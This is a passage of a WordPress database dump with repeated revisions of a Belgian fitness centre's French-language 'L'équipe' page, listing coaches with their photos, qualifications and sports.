cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;LesMills Coach&lt;/li&gt;\r\n        &lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\n\r\n\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-420\&quot; alt=\&quot;youssra_boujat_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/youssra_boujat_pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Youssra Boujat&lt;/h2&gt;\r\n&lt;h5&gt;Instructeur de Zumba Fitness&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Etudiante infirmière à l\'HENALLUX&lt;/li&gt;\r\n	&lt;li&gt;Basketteuse au Belfius Namur Capital&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de courses à pieds et de fitness&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\r\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&amp;nbsp;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2014-02-17 18:01:07', '2014-02-17 18:01:07', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(392, 1, '2013-11-06 21:07:33', '2013-11-06 21:07:33', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\r\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Rogge&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en Education Physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en préparation physique et entrainement du sportif&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Entraîneur de volley-ball&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de volley-ball, natation et course à pied&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-11-06 21:07:33', '2013-11-06 21:07:33', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(391, 1, '2013-11-06 21:06:21', '2013-11-06 21:06:21', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 